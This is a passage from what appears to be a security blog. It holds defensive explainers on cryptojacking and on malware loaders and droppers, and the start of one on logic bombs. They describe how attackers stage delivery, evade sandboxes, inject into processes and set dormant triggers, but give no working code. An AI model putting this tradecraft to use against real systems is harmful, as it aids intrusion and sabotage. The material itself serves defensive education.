Cryptojacking is quiet by design: the longer it stays hidden, the more it mines, so it avoids the obvious damage that would get it noticed and removed. - Browser-based mining stops when you close the tab, while host-based mining installs persistence to survive reboots and keep mining indefinitely. - Resource abuse for mining maps to MITRE ATT&CK Resource Hijacking (T1496), and detection leans on monitoring processor use and outbound connections to mining pools. - In the cloud, exposed container APIs, leaked keys, and misconfigured services are the common entry points, and the cost lands as an inflated compute bill. - Defense combines patching and application control on hosts, browser and network blocking of mining scripts, and tight cloud configuration with usage-based cost alerts. Most malware wants your data or your money directly. A cryptojacker wants something quieter: your electricity, your processor cycles, and your cloud bill. It quietly turns your device into a mining rig for cryptocurrency the attacker keeps, and its whole strategy is to stay hidden long enough to keep earning. You pay the power and the wear; someone else collects the coins. A cryptojacker is malware that hijacks a device's computing resources to mine cryptocurrency without permission. Mining is deliberately compute-heavy work, and doing it costs real money in hardware and electricity. Cryptojacking removes that cost for the attacker by pushing it onto victims, thousands of them if the operation is large. ## Why attackers cryptojack Mining cryptocurrency legitimately means buying hardware and paying for the power it burns. On a large scale, the electricity bill can eat most of the profit. Cryptojacking makes the arithmetic work by stealing both inputs. The attacker mines using other people's processors and other people's electricity, keeping the full reward. That economic logic drives the malware's behavior. Because profit scales with how long the mining runs undetected, a cryptojacker is built to be quiet. It does not encrypt files or pop ransom notes. It tries to look like nothing at all, throttling itself if needed so the victim does not notice and clean it up. On MITRE ATT&CK this behavior maps to [Resource Hijacking (T1496)](https://attack.mitre.org/techniques/T1496/). ## Browser-based versus host-based mining Cryptojacking comes in two forms that differ in where the mining code lives and how long it lasts. **Browser-based mining** runs inside a web page. A script embedded in a site, sometimes by the site owner, sometimes by an attacker who compromised the site or an ad it serves, uses your browser to mine while the page is open. It needs no installation. The moment you close the tab, the mining stops. The cost to you is a hot, sluggish device for as long as you stay on the page. **Host-based mining** installs a mining program on the machine itself. This is more valuable to the attacker because it does not depend on you visiting a page. It installs persistence so it survives reboots, and it mines continuously in the background for as long as it goes unnoticed. Host-based miners are what land on servers, workstations, and cloud instances, and they are the ones that run up the largest bills. A cryptojacker usually steals no data and destroys nothing, so it slips past the mental model of what malware does. The harm is real but indirect: shortened hardware life from constant full load, higher electricity costs, degraded performance for real work, and, in the cloud, a compute bill that can climb fast. Because there is no obvious breach, infections often run for a long time before anyone investigates the slowness. ## The cloud is the richest target The largest cryptojacking payouts come from cloud and container environments, and the reason is simple: that is where the compute is. A personal laptop mines slowly. A cluster of cloud servers mines fast, and it bills the victim automatically. Attackers get in through the usual cloud weaknesses: an exposed container-management API with no authentication, a leaked access key committed to a public repository, an over-permissioned service account, or a misconfigured storage bucket that leaks credentials. Once inside, they enumerate the environment, mapping to [Cloud Infrastructure Discovery (T1580)](https://attack.mitre.org/techniques/T1580/), and spin up as much mining compute as the account allows. The first sign is often the invoice. The mining software frequently arrives packaged in an abused file format or a tampered container image, a script, an archive, a malicious installer, or a poisoned dependency. Our File-Format Abuse Atlas catalogues those delivery formats and how to detect them, which is where you can catch a miner before it starts consuming resources. ## Browser versus host at a glance | Aspect | Browser-based mining | Host-based mining | |---|---|---| | Where it runs | Inside a web page in the browser | Installed on the operating system | | Persistence | None; stops when the tab closes | Installs persistence to survive reboots | | Duration | Only while you view the page | Continuous until detected and removed | | Typical targets | Anyone visiting the affected site | Workstations, servers, cloud instances | | Main tell | Device heats up on a specific site | Sustained high processor use at all times | The shared signature across both is the same: something is working your processor hard when it should be idle. ## How to detect a cryptojacker Because cryptojacking hides its damage, detection means watching resources rather than waiting for an obvious symptom. - **Sustained high processor use** when the device should be idle, especially processes you do not recognize pinned near full load. - **Heat and fan noise** on a machine that is not doing demanding work, and shortened battery life on laptops. - **Sluggish performance** for ordinary tasks, as mining starves real work of cycles. - **Outbound connections to mining pools**, visible in network monitoring as repeated traffic to mining-related destinations. - **Unexpected cloud cost increases**, often the first and clearest signal in cloud environments, where a sudden compute spike shows up on the bill before anywhere else. In the cloud, usage-based alerting is the sharpest detector: an anomaly in compute consumption is hard for an attacker to hide when it maps directly to money. ## How to defend against cryptojacking Defense spans the host, the browser, the network, and the cloud, and it leans heavily on the resource monitoring that also detects it. 1. **Patch and use application control on hosts.** Many host-based miners arrive through known vulnerabilities or by running unauthorized executables. Fast patching and controlling what software is allowed to run closes both doors. 2. **Block mining scripts in the browser and network.** Browser extensions and DNS or web filtering can block known mining scripts and mining-pool domains, stopping browser-based mining and cutting off host miners that need to reach a pool. 3. **Monitor resource use as a security signal.** Baseline normal processor and cloud consumption and alert on sustained anomalies. A miner cannot hide from consumption monitoring, because consuming resources is the entire point. 4. **Lock down cloud configuration.** Require authentication on management and container APIs, never expose them to the internet, apply least privilege to service accounts, and keep access keys out of code repositories. 5. **Set usage-based cost alerts in the cloud.** An alert on abnormal compute spend turns a hidden miner into an immediate signal, often the fastest way to catch cloud cryptojacking. 6. **Segment and limit privileges.** Restrict how far an attacker who lands on one host or one cloud identity can spread, so a single foothold cannot enlist your whole fleet into mining. In the cloud, the most reliable cryptojacking detector is a cost or usage anomaly alert. A miner's whole purpose is to consume compute, and in a metered environment that consumption is impossible to hide from a threshold you have set. Wire the alert to your compute spend and you will often catch mining before any endpoint tool does. ## Why mining is worth stealing compute for Understanding cryptojacking starts with why mining costs anything at all. Many cryptocurrencies secure their networks with proof of work, where participants compete to solve a deliberately hard computational puzzle, and the winner earns newly issued coins and fees. The puzzle has no shortcut, so the only way to win more often is to compute more guesses, which means running more hardware for more hours. That directly consumes electricity and wears down equipment. For a legitimate miner, those two inputs, hardware and power, are the whole cost of the business, and at scale the electricity bill can consume most of the reward. Cryptojacking rewrites that arithmetic by taking both inputs from someone else. The attacker mines using victims' processors and victims' electricity, and keeps the full reward with none of the cost. That is the entire economic engine behind the malware, and it explains every design choice it makes. The malware wants to run on as many devices as possible, for as long as possible, as quietly as possible, because reward scales with total compute time and stealth is what preserves that time. The pooling of effort matters too. A single hijacked device would rarely win a puzzle on its own, so miners join a mining pool, where many participants combine their work and share the reward in proportion to the compute each contributed. This is why cryptojacking malware reaches out to a pool: it needs to contribute its stolen compute to a collective effort and route the proportional payout back to the attacker. That required outbound connection to a pool is also one of the clearest network signals that mining is happening. ## A worked example: a leaked key becomes a mining bill Following one cloud incident from entry to invoice shows how the pieces fit. Suppose a developer commits an access key into a public code repository by accident, buried in a configuration file. Automated scanners that watch public repositories for exactly this mistake find the key within minutes. The attacker who receives it does not need to break anything, because the key is a valid credential. The attacker's first move is reconnaissance. Using the key, they enumerate what the account can do, which regions and services are available, and how much compute they can spin up. This mapping step corresponds to [Cloud Infrastructure Discovery (T1580)](https://attack.mitre.org/techniques/T1580/). If the key belongs to an over-permissioned service account, the attacker finds they can launch large amounts of compute in several regions at once. The next move is deployment. The attacker spins up as many instances as the account permits, or launches mining containers into an exposed orchestration platform, and points them all at a mining pool. Now the victim's account is running a fleet of machines doing nothing but mining, and every one of those machines is billing the victim by the hour. The attacker keeps the mined coins and pays none of the cost. The tell arrives on the invoice. Because the mining does not touch the victim's data and destroys nothing, no breach alarm fires. The first clear signal is a compute bill that has climbed far above normal, often noticed only at the end of a billing period. An account with usage-based cost alerting catches the spike within hours. An account without it can run the miner for weeks, and the loss is measured in the cloud spend the attacker rang up. ## Detection signals in depth Because a cryptojacker hides its damage, detection means watching the resources it consumes rather than waiting for an obvious symptom. - **Sustained high processor use when idle.** A miner pins the processor near full load for long stretches, including when the device should be doing nothing. An unfamiliar process holding the processor near maximum is the clearest host-level signal. - **Heat, fan noise, and battery drain.** Constant full load produces heat and fan activity on a machine doing no demanding work, and it shortens battery life on laptops noticeably. - **Sluggish real work.** Because mining consumes cycles that legitimate tasks need, ordinary operations slow down, which is often the symptom a user reports first without knowing the cause. - **Outbound connections to mining pools.** Miners must reach a pool to coordinate and submit work, so repeated outbound traffic to mining-related destinations shows up in network monitoring even when the process itself is hidden. - **Compute cost anomalies in the cloud.** A sudden rise in compute consumption is the sharpest cloud signal, because mining maps directly to metered spend that an attacker cannot hide from a threshold you have set. Most malware announces itself through encrypted files, stolen data, or a ransom note. A cryptojacker deliberately does none of that, so the usual alarms stay silent. The way to catch it is to invert the expectation and treat unexplained resource consumption as the symptom, because consuming resources quietly is the entire purpose of the malware. ## Common misconceptions Several beliefs cause people to overlook or underrate cryptojacking. - **It is harmless because nothing is stolen.** The harm is real: shortened hardware life from constant full load, higher electricity costs, degraded performance, and in the cloud a compute bill that can climb fast. The lack of stolen data is why it hides so well, and it does not make the loss small. - **Closing the tab always ends it.** That is true for browser-based mining, which stops when the page closes. Host-based mining installs persistence and keeps running after reboots, so closing a browser does nothing to it. - **Antivirus alone will catch it.** Endpoint tools catch some miners, and the most reliable detector, especially in the cloud, is resource and cost monitoring, because a miner cannot hide the consumption that is its whole reason to exist. - **Only powerful machines are targets.** Any device that runs code can mine, and cloud and container environments are the richest targets because that is where large-scale compute lives and where the cost bills straight to the victim. - **A miner tries to spread damage fast.** The opposite is true. A cryptojacker wants to stay quiet and unnoticed for as long as possible, throttling itself if needed, because every day it stays hidden is another day it earns. ## How cryptojacking evolved Cryptojacking rose to prominence when browser-based mining scripts made it trivial to turn any website visitor's processor into a miner for as long as the page stayed open. Site owners and attackers alike embedded these scripts, some disclosed and many not, and the low barrier meant the technique spread quickly across compromised sites and malicious ads. As browsers and blocklists learned to recognize and stop the well-known mining scripts, the easy browser-based era faded. The center of gravity moved to host-based and cloud mining, where the payouts are larger and the compute is concentrated. Attackers shifted to hunting exposed container APIs, leaked keys, and misconfigured cloud services, because a single such mistake can hand over compute at a scale no personal laptop could match, with the cost billed automatically to the victim. The economic logic never changed across this evolution: mining costs money in hardware and electricity, and cryptojacking exists to push that cost onto someone else, so attackers follow wherever the cheapest stolen compute happens to be. ## Cryptojacking compared to other malware Seeing cryptojacking beside other malware classes clarifies why it behaves the way it does. | Aspect | Cryptojacker | Ransomware | Data-stealing malware | |---|---|---|---| | Attacker goal | Steal compute to mine coins | Extort payment | Exfiltrate valuable data | | Wants to be noticed | No, quiet as long as possible | Yes, demands attention | No, but exit can be abrupt | | Direct data damage | Usually none | Encrypts or destroys | Copies data out | | Main victim cost | Compute, power, cloud spend | Ransom and downtime | Breach impact and exposure | | Primary tell | Resource and cost anomalies | Ransom note and locked files | Unusual data flows | The row that matters most is the second one. Ransomware needs to be seen to get paid, and a cryptojacker needs to stay hidden to keep earning. That single difference in incentive is why detection relies on watching quiet resource consumption rather than waiting for a loud event. ## Frequently asked questions **What exactly is a cryptojacker?** It is malware that hijacks a device's computing resources to mine cryptocurrency without permission, stealing the processor cycles, electricity, and in the cloud the compute spend, and keeping the mined coins for the attacker. Its strategy is to stay hidden long enough to keep earning, which maps to [Resource Hijacking (T1496)](https://attack.mitre.org/techniques/T1496/). **How is browser-based mining different from host-based mining?** Browser-based mining runs inside a web page and stops the moment you close the tab, needing no installation. Host-based mining installs a program on the machine, adds persistence so it survives reboots, and mines continuously until detected and removed. Host-based miners are the ones that land on servers and cloud instances and run up the largest bills. **Why is the cloud the richest target?** That is where the compute is. A personal laptop mines slowly, and a cluster of cloud servers mines fast and bills the victim automatically. Attackers get in through exposed container APIs, leaked keys, over-permissioned service accounts, and misconfigurations, then spin up as much mining compute as the account allows. **How do I detect a cryptojacker?** Watch resources rather than waiting for obvious damage. Look for sustained high processor use when idle, heat and fan noise, sluggish performance, outbound connections to mining pools, and in the cloud a spike in compute cost. Usage-based cost alerting is often the fastest detector because mining maps directly to metered spend. **Is cryptojacking illegal?** Running mining code on someone else's device without authorization is unauthorized use of their resources and is treated as a computer misuse offense in most jurisdictions. The disclosed case, where a site owner runs mining on their own visitors with clear consent, is a separate matter from the covert malware this guide describes. **Can cryptojacking lead to worse compromises?** It can be a symptom of a broader intrusion. The same exposed key or misconfiguration that let an attacker mine could let them do more, and a foothold used for mining today can be repurposed. Treat a miner as evidence that something is wrong. Investigate how it got in, and look past the resource consumption to whatever weakness let it in. **What is the single most effective defense in the cloud?** Wire usage-based cost and consumption alerts to your compute spend. A miner's entire purpose is to consume compute, and in a metered environment that consumption is impossible to hide from a threshold you have set, so a cost anomaly alert often catches cloud cryptojacking before any endpoint tool does. **Does a cryptojacker slow down over time or stay constant?** It behaves however it must to stay hidden. Some miners run at full load whenever the device is idle and back off the moment a user is active, so the machine feels normal in use and mines hard when unattended. Others throttle to a steady fraction of capacity to avoid the obvious symptom of a permanently maxed processor. The adaptive behavior is another reason to rely on consumption baselines rather than on how the device feels at any one moment. **Can blocking mining pool domains stop a miner?** It helps significantly. A miner must reach a pool to contribute work and collect its share, so blocking known mining-pool domains through DNS or web filtering cuts off that path and neutralizes both browser-based and host-based miners that depend on reaching a pool. Combine it with resource monitoring, because a miner pointed at an unknown pool still reveals itself through consumption. Cryptojacking that scales usually rides on the same infrastructure as botnets, with fleets of compromised devices mining in unison for one operator. The crews that run these campaigns are tracked in our Threat Groups directory, so you can connect a mining outbreak to the actor behind it. A cryptojacker is a parasite. It does not want to be noticed, because being noticed ends the payout, so it steals quietly: your cycles, your power, your cloud spend, for as long as it can. That quiet is also its weakness. Watch your resource use and your cloud bill, block the mining scripts and pools, and keep hosts and cloud configuration tight, and a miner has nowhere left to hide. ## Related guides - [What Is a Botnet](/what-is-a-botnet) - [Malware Persistence Techniques](/malware-persistence-techniques) - [Cloud Misconfigurations Guide](/cloud-misconfigurations-guide) - [Intro to Malware Analysis](/intro-to-malware-analysis) ### Sources - MITRE ATT&CK: Resource Hijacking (T1496) (MITRE): https://attack.mitre.org/techniques/T1496/ - MITRE ATT&CK: Cloud Infrastructure Discovery (T1580) (MITRE): https://attack.mitre.org/techniques/T1580/ - CISA: Guidance on Securing Cloud Environments (CISA): https://www.cisa.gov/ --- ## Loaders and Droppers Explained: First-Stage Malware Delivery > Loaders and droppers are the first-stage malware that plants the real payload. How staged delivery works, how the two differ, and how to detect the hand-off. - URL: https://blog.pwnsy.com/what-is-a-loader-dropper - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: loader, dropper, malware, staged-delivery, detection-engineering - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - A dropper carries the payload inside itself and writes it to disk; a loader fetches or unpacks the payload and runs it, often in memory. - Both are first-stage tools whose only job is to get the real malware running while staying small, quiet, and disposable. - Staged delivery splits an attack into steps so each piece looks harmless on its own and the valuable payload is never exposed until the last moment. - Detection focuses on the hand-off: the process chain, the download, the injection, and the persistence a loader sets up, rather than the first file alone. ### Key Takeaways - The terms overlap in practice, but the useful distinction is self-contained delivery (dropper) versus fetch-and-run delivery (loader). - Loaders exist to defeat detection at the door: a tiny, frequently rebuilt first stage is cheaper to keep undetected than a full payload. - Loader-as-a-service is a real market, with crews selling installs and access to whoever wants their malware run on the victim. - The strongest signals are behavioural: process injection, a benign-looking file spawning a script host, and a new autostart entry appearing right after execution. - Staged delivery maps to MITRE ATT&CK Ingress Tool Transfer (T1105) and Process Injection (T1055); breaking any stage breaks the chain. The file that lands on a victim machine is rarely the malware that matters. It is a small, forgettable program whose entire purpose is to bring in something bigger. That first stage is a loader or a dropper, and understanding it is how defenders catch an intrusion before the real payload ever runs. Attackers split their delivery into stages for the same reason a smuggler does not carry everything at once. A minimal first stage is easy to disguise, cheap to rebuild when it gets flagged, and keeps the valuable payload hidden until the last possible moment. If you only hunt for the final malware, you are looking too late. ## Dropper versus loader The two words get used loosely, and plenty of tools do both. The distinction that actually helps you is where the payload comes from. A **dropper** carries the payload inside itself. The malicious code is embedded in the dropper, often obfuscated or encrypted, and the dropper writes it to disk and runs it. Everything needed is in the one file, which makes it self-contained but larger and easier to analyse once caught. A **loader** does not carry the payload. It fetches the payload from a remote server, or it unpacks a payload delivered separately, then executes it, frequently straight into memory without ever writing the full malware to disk. A loader is smaller, and because the payload is external, the operator can swap what gets delivered without touching the loader at all. | Trait | Dropper | Loader | |---|---|---| | Payload location | Embedded inside the file | Fetched remotely or unpacked separately | | Touches disk | Usually writes payload to disk | Often runs payload in memory | | Size | Larger | Small | | Payload swappable | Rebuild required | Change the server-side payload | | Analysis exposure | Full payload recoverable from the sample | First stage reveals little on its own | In modern campaigns the loader model dominates, because keeping the payload off the victim disk and out of the delivered sample defeats a lot of file-based detection. ## Why staged delivery exists Staging is an evasion strategy. Each stage is built to survive the control it faces at that step. - **The first stage faces the email gateway and the download check.** So it is tiny, benign-looking, and rebuilt constantly to stay ahead of signatures. - **The second stage faces the endpoint.** By the time it arrives, execution is already underway inside a trusted process, so it has more room to operate. - **The payload faces analysts.** Because it only appears after the loader has confirmed a real victim, it never lands in a sandbox that the loader can detect and avoid. This separation also creates a business. Crews sell loader-as-a-service and pay-per-install, running someone else's payload on machines they have already compromised. The loader operator and the payload operator can be entirely different actors, which is why one loader family delivers many unrelated malware strains over time. ## The delivery chain in practice A staged intrusion usually follows a recognisable arc. The specifics vary, but the shape holds: 1. **Lure.** A phishing attachment, a fake installer, or a paste-a-command trick gets the first stage onto the machine. 2. **First-stage execution.** A weaponised file runs the loader or dropper, commonly by invoking a script host or a signed system binary rather than an obvious executable. 3. **Fetch or unpack.** A loader pulls the next stage from its server; a dropper decrypts the payload it already carries. 4. **Execute the payload.** The malware runs, often injected into a legitimate process to blend in. 5. **Persist.** The loader sets up a way to survive reboot so the foothold is not lost. The file that starts this is almost always one of a small set of abused formats: a script, an archive, a shortcut, a malicious installer. Our File-Format Abuse Atlas maps which formats carry which first stages, from LNK targets that launch a script host to archives that hide a loader behind a decoy document. That first file is your earliest and cheapest place to break the chain. Analysts who stop at the dropped file miss the point. A loader that looks empty in a sandbox may be waiting to fetch its payload from a server that only answers real victims. Treat a confirmed first stage as evidence that a second stage was intended, and hunt for the fetch, the injection, and the persistence it would have created. ## How loaders hide the hand-off The moment a loader hands control to the payload is the moment it is most visible, so loaders work hard to hide it. Common techniques: - **Process injection.** The payload runs inside a legitimate process such as `explorer.exe`, so there is no new suspicious process to spot. This maps to [Process Injection (T1055)](https://attack.mitre.org/techniques/T1055/). - **In-memory execution.** The payload never fully lands on disk, defeating file-scanning tools. This overlaps with fileless techniques. - **Living off the land.** The loader invokes signed system binaries to do the downloading and executing, so no obviously malicious tool appears. - **Delayed or gated execution.** The loader waits, checks for analysis environments, or only proceeds after a command-and-control server approves, so automated sandboxes see nothing. The remote fetch itself maps to [Ingress Tool Transfer (T1105)](https://attack.mitre.org/techniques/T1105/), and the download destination is the loader's command-and-control channel, which is often the same infrastructure the payload will use later. ## A worked example of a staged delivery Walking one staged intrusion through from lure to persistence, conceptually rather than as working code, shows why each stage exists and where a defender can break it. A user receives an email with an attachment that looks like an invoice. The attachment is not the malware. It is a small file, perhaps a shortcut or a script inside an archive, whose only job is to start the chain. This is the first stage, and it was built to survive the email gateway: tiny, unremarkable, and likely rebuilt recently enough that no signature matches it. The user opens the attachment. Rather than running an obvious executable, the first stage invokes a script host or a signed system binary to do its work, so that the process that starts is a trusted component rather than something a naive scan would flag. This is the loader executing. In a dropper-style delivery, the payload is already embedded in the file, and this step decrypts and writes it out. In a loader-style delivery, the file carries no payload and instead reaches out to a remote server to fetch the next stage. If it is a loader, the fetch happens now. The loader contacts its command-and-control server and pulls down the real payload. The server is often selective: it may only answer requests that look like a genuine victim, refusing connections from analysis infrastructure, so that a sample detonated in a sandbox receives nothing and appears harmless. This selectivity is why an empty-looking loader can still be part of a serious intrusion. With the payload in hand, the loader runs it. Rather than starting a new, suspicious process, the loader frequently injects the payload into a legitimate running process, so that the malicious code executes under the identity of something trusted. Only now does the payload that matters, a remote access tool, an infostealer, or a ransomware component, actually run. Finally the loader ensures the foothold survives a reboot. It creates a persistence mechanism, such as an autostart entry or a scheduled task, so the payload runs again after the machine restarts. With persistence set, the first stage has done its job and can even delete itself, leaving the payload running in memory or reinstalled at each boot. The reason an attacker bothers with stages at all is that a single monolithic malware file has to survive every control at once: the email gateway, the endpoint scanner, and the analyst. Splitting the delivery lets each stage be optimized for the one obstacle in front of it. The first stage beats the gateway by being small and disposable. The fetch beats the sandbox by only answering real victims. The payload beats the analyst by never appearing until a real victim is confirmed. Understanding this is what tells a defender to break the earliest stage, before the design has done its work. ## Dropper and loader compared to related terms Loader and dropper sit among several overlapping terms, and keeping them distinct helps when reading threat reporting. The distinctions are about role in the delivery chain, and a single piece of malware can wear more than one label at different moments. | Term | Role | Distinguishing trait | |---|---|---| | Dropper | First stage that carries the payload inside itself | Self-contained, writes the embedded payload to disk | | Loader | First stage that fetches or unpacks the payload | Small, pulls the payload from elsewhere, often runs it in memory | | Downloader | Retrieves a further component from a remote source | Emphasis on the download step specifically | | Stager | Minimal first stage that pulls a larger stage | Common term in offensive tooling for the initial small footprint | | Payload | The malware that actually achieves the objective | The thing the first stage exists to deliver | | Packer | Compresses or encrypts a file to evade scanning | A technique applied to a file, not a delivery role | The terms downloader, stager, and loader overlap heavily, and reporting uses them loosely. The stable distinction worth holding is the dropper versus loader split from earlier: does the first stage carry the payload inside itself, or does it reach out to bring the payload in. A packer is a different axis entirely. It describes how a file is obscured, and a dropper or loader is frequently packed to help the first stage evade detection, so the labels combine rather than compete. ## Why the loader model won Modern campaigns favor loaders over self-contained droppers, and the reasons are practical. The first is detection economics. A first stage gets flagged and burned constantly, so the operator wants it to be cheap to rebuild. A tiny loader with no embedded payload can be regenerated and re-obfuscated quickly, and because it carries nothing incriminating, a captured sample reveals little. A dropper that carries the full payload is larger, more expensive to rebuild, and exposes the payload the moment the sample is caught. The second is operational flexibility. Because a loader fetches its payload from a server, the operator can change what gets delivered without touching the loader that is already deployed. The same loader can deliver a banking trojan today and ransomware tomorrow, simply by changing the server-side payload. A dropper is fixed at build time, so changing the payload means rebuilding and redelivering. The third is the market it enables. Keeping the payload separate from the loader lets different actors specialize. One crew builds and operates loaders and sells installs, running whatever payload a customer provides on machines they have already compromised. This loader-as-a-service and pay-per-install model is why a single loader family delivers many unrelated malware strains over time, and why the loader operator and the payload operator are frequently different people entirely. The fourth is analysis evasion. A loader that fetches from a selective server never exposes its payload to an automated sandbox that cannot convince the server it is a real victim. The payload only materializes for a confirmed target, which keeps it out of the hands of analysts and detection systems that rely on detonating samples. ## Common mistakes and misconceptions A few errors in how teams think about first-stage malware lead to missed intrusions. The first is closing the investigation at the dropped file. A loader caught in isolation can look inert, especially if its server no longer answers or refused the sandbox. Treating that as the end of the incident misses the point of staging. A confirmed first stage is evidence a second stage was intended, and the process that launched it, the network destination it contacted, and any persistence created in the same window are where the rest of the chain lives. The second is assuming an empty-looking loader is harmless. A loader that reveals no payload under analysis has often done exactly what it was designed to do: withhold the payload from anything that does not look like a genuine victim. Absence of a recovered payload is not evidence of a benign file. The third is conflating the labels rigidly. Reporting that calls the same tool a dropper in one place and a loader in another is not necessarily contradictory, because a single tool can carry a payload in one configuration and fetch it in another. The useful question is always where the payload came from in the specific case at hand, not which label is universally correct. The fourth is hunting only for the final malware. Signatures and detections tuned to the payload alone act too late, after the loader has already fetched, injected, and persisted. The cheapest and earliest interventions target the first stage and the hand-off, before the payload exists on the machine at all. ## How to detect and defend Because the first stage is designed to look harmless, detection has to watch the hand-off and the aftermath, not just the file. 1. **Watch process chains.** A document, script host, or benign-looking executable spawning `powershell.exe`, `rundll32.exe`, or a network-capable child is a classic loader signature. Office or a script host reaching the internet deserves a hard look. 2. **Flag process injection.** Remote thread creation, writes into another process's memory, and payloads running from memory regions with no backing file are high-value signals. Endpoint tools that surface injection catch loaders that leave no payload on disk. 3. **Catch the fetch.** Egress monitoring and DNS logging expose the download step. A newly executed file that immediately contacts an unknown host is worth alerting on. 4. **Hunt fresh persistence.** A new run key, scheduled task, or service appearing seconds after an unfamiliar process ran often marks the loader finishing its job. Correlate persistence creation with the process that created it. 5. **Break delivery.** Application control, macro restrictions, and blocking risky file types stop the first stage from executing at all. This is the cheapest intervention because it acts before any payload exists. 6. **Constrain the tools loaders borrow.** Constrained Language Mode for PowerShell, script-block logging, and removing script hosts you do not need raise the cost of the hand-off. When you find a first stage, do not close the ticket at the dropped file. Pull the process that launched it, the network destination it contacted, and any persistence created in the same window. One loader detection, followed properly, often unwinds the entire delivery chain and the command-and-control it points to. Loaders and droppers are the quiet front end of almost every serious intrusion. They are built to be boring so the interesting part stays hidden. Defend the first file, watch the moment it hands off, and you stop the attack while it is still small and cheap to contain. ## Frequently asked questions **What is the practical difference between a loader and a dropper?** The useful distinction is where the payload comes from. A dropper carries the payload inside itself, embedded and usually obfuscated, and writes it to disk before running it. A loader carries no payload and instead fetches it from a remote server or unpacks one delivered separately, then often runs it straight in memory. The terms are used loosely in reporting, and some tools do both, so the reliable question in any specific case is whether the payload was self-contained or brought in from elsewhere. **Why do attackers split delivery into stages at all?** Because a single monolithic malware file has to defeat every control at once, while a staged delivery lets each stage handle one obstacle. The small first stage is built to slip past the email gateway and is cheap to rebuild when flagged. The fetch step withholds the payload from sandboxes that cannot pass as a real victim. The payload itself only appears after a genuine target is confirmed, keeping it away from analysts. Staging is an evasion strategy that spreads the detection problem across steps rather than concentrating it in one file. **Can antivirus catch a loader if it carries no payload?** Sometimes, through signatures on the loader itself, but a well-built loader is rebuilt and re-obfuscated often enough that file signatures lag behind it. The more reliable detections are behavioral: a document or script host spawning a network-capable child, process injection into a legitimate process, and fresh persistence appearing seconds after an unfamiliar process ran. These behaviors are harder for an attacker to change than the bytes of the file, which is why endpoint behavioral detection catches loaders that file scanning misses. **What is loader-as-a-service?** It is a criminal service model where one crew operates loaders and sells the ability to run a payload on machines they have already compromised. A customer provides their malware, and the loader operator delivers and runs it, often priced per install. This separation is why a single loader family delivers many unrelated malware strains over time, and why the person operating the loader and the person behind the final payload are frequently different actors with different goals. **Does running the payload in memory mean nothing touches disk?** Often the payload itself avoids being written to disk, which defeats file-scanning tools, but the first stage usually does leave some trace, and the persistence mechanism the loader creates is a durable on-disk or registry artifact. In-memory execution reduces the file footprint of the payload rather than eliminating all evidence. The hand-off, the network fetch, and the persistence are where a defender still finds the chain even when the payload never lands as a file. **If I find a loader but its server is offline, is the incident over?** No. A dead server means you may not recover the payload, but the loader being present is evidence that a second stage was intended. Pull the process that launched the loader, the network destinations it tried to contact, and any persistence created in the same window. The server being down at the moment you look does not mean it was down when the loader first ran, and treating a first-stage detection as a closed case is one of the common ways a staged intrusion is missed. **How is a loader different from a packer?** They describe different things. A loader is a role in the delivery chain: a first stage that brings in and runs the payload. A packer is a technique that compresses or encrypts a file to help it evade scanning. A loader is frequently packed to make the first stage harder to detect, so the two combine rather than compete. Asking whether a file is a loader is a question about its role, and asking whether it is packed is a question about how it is obscured. A dropper can be packed, a loader can be packed, and the payload they deliver can be packed too, so packing shows up at multiple points in the same chain. ## Related guides - [Attacker File Formats Explained](/attacker-file-formats-explained) - [LOLBins Explained](/living-off-the-land-explained) - [Command and Control Explained](/command-and-control-explained) - [What Is Fileless Malware](/what-is-fileless-malware) ### Sources - MITRE ATT&CK: Ingress Tool Transfer (T1105) (MITRE): https://attack.mitre.org/techniques/T1105/ - MITRE ATT&CK: Process Injection (T1055) (MITRE): https://attack.mitre.org/techniques/T1055/ - CISA: Malware, Phishing, and Ransomware (CISA): https://www.cisa.gov/topics/cyber-threats-and-advisories/malware-phishing-and-ransomware --- ## What Is a Logic Bomb? Trigger-Based Malicious Code > A logic bomb is code that stays dormant until a trigger fires: a date, an event, a missing record. How they work and how to catch them. - URL: https://blog.pwnsy.com/what-is-a-logic-bomb - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: logic-bomb, malware, insider-threat, code-review, sabotage - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Privileged Access Management Explained: Vaults, JIT and Tiering](https://blog.pwnsy.com/privileged-access-management-explained) ### TL;DR - A logic bomb is malicious code planted inside a legitimate program that stays dormant until a specific condition is met, then executes its payload. - The trigger is a logical test: a date and time, a specific event, or the absence of something, such as an employee's name disappearing from payroll. - Because it hides in otherwise normal software and only acts when triggered, it is easy to miss in testing and often planted by an insider with legitimate access. - Defence centres on code review, version control, separation of duties, and monitoring for the destructive actions the payload eventually performs. ### Key Takeaways - A logic bomb is defined by its trigger. Code that waits for a condition before doing harm is the whole concept. - The classic insider case is a time-based or dead-man trigger tied to an employee's continued presence in a system, set to fire after they leave. - Payloads are frequently destructive, deleting data or files, which overlaps with wiper behaviour under MITRE ATT&CK Data Destruction (T1485). - Peer code review and mandatory version control make it far harder to slip trigger logic into a codebase unnoticed. - Separation of duties and least privilege limit how much damage any single person's planted code can do. Most malware announces itself the moment it runs. A logic bomb does the opposite. It sits quietly inside a working program, doing nothing wrong, sometimes for months, until a condition it has been watching for comes true. Then it acts, usually to destroy or disrupt. The waiting is the point, and it is what makes a logic bomb hard to find and unsettling to defend against. The name is apt. Like a bomb with a timer, the harmful part is armed long before it goes off, and the person who planted it is often long gone by the time it does. ## The defining feature is the trigger Strip away the drama and a logic bomb is a conditional statement with a malicious body. Some test decides whether the payload runs, and until that test passes, the surrounding program behaves exactly as expected. That is why the code survives review and testing: during every normal run, the condition is false and the harmful branch never executes. Common triggers fall into a few families: - **Time-based.** A specific date and time, an anniversary, or a fixed delay after installation. These are sometimes called time bombs. - **Event-based.** A particular action or state, such as a specific file being opened, a program launching for the hundredth time, or a database reaching a certain size. - **Absence-based, or dead-man triggers.** The payload fires when something expected disappears. The classic version checks whether a given employee still exists in the payroll or directory system, and detonates once that name is 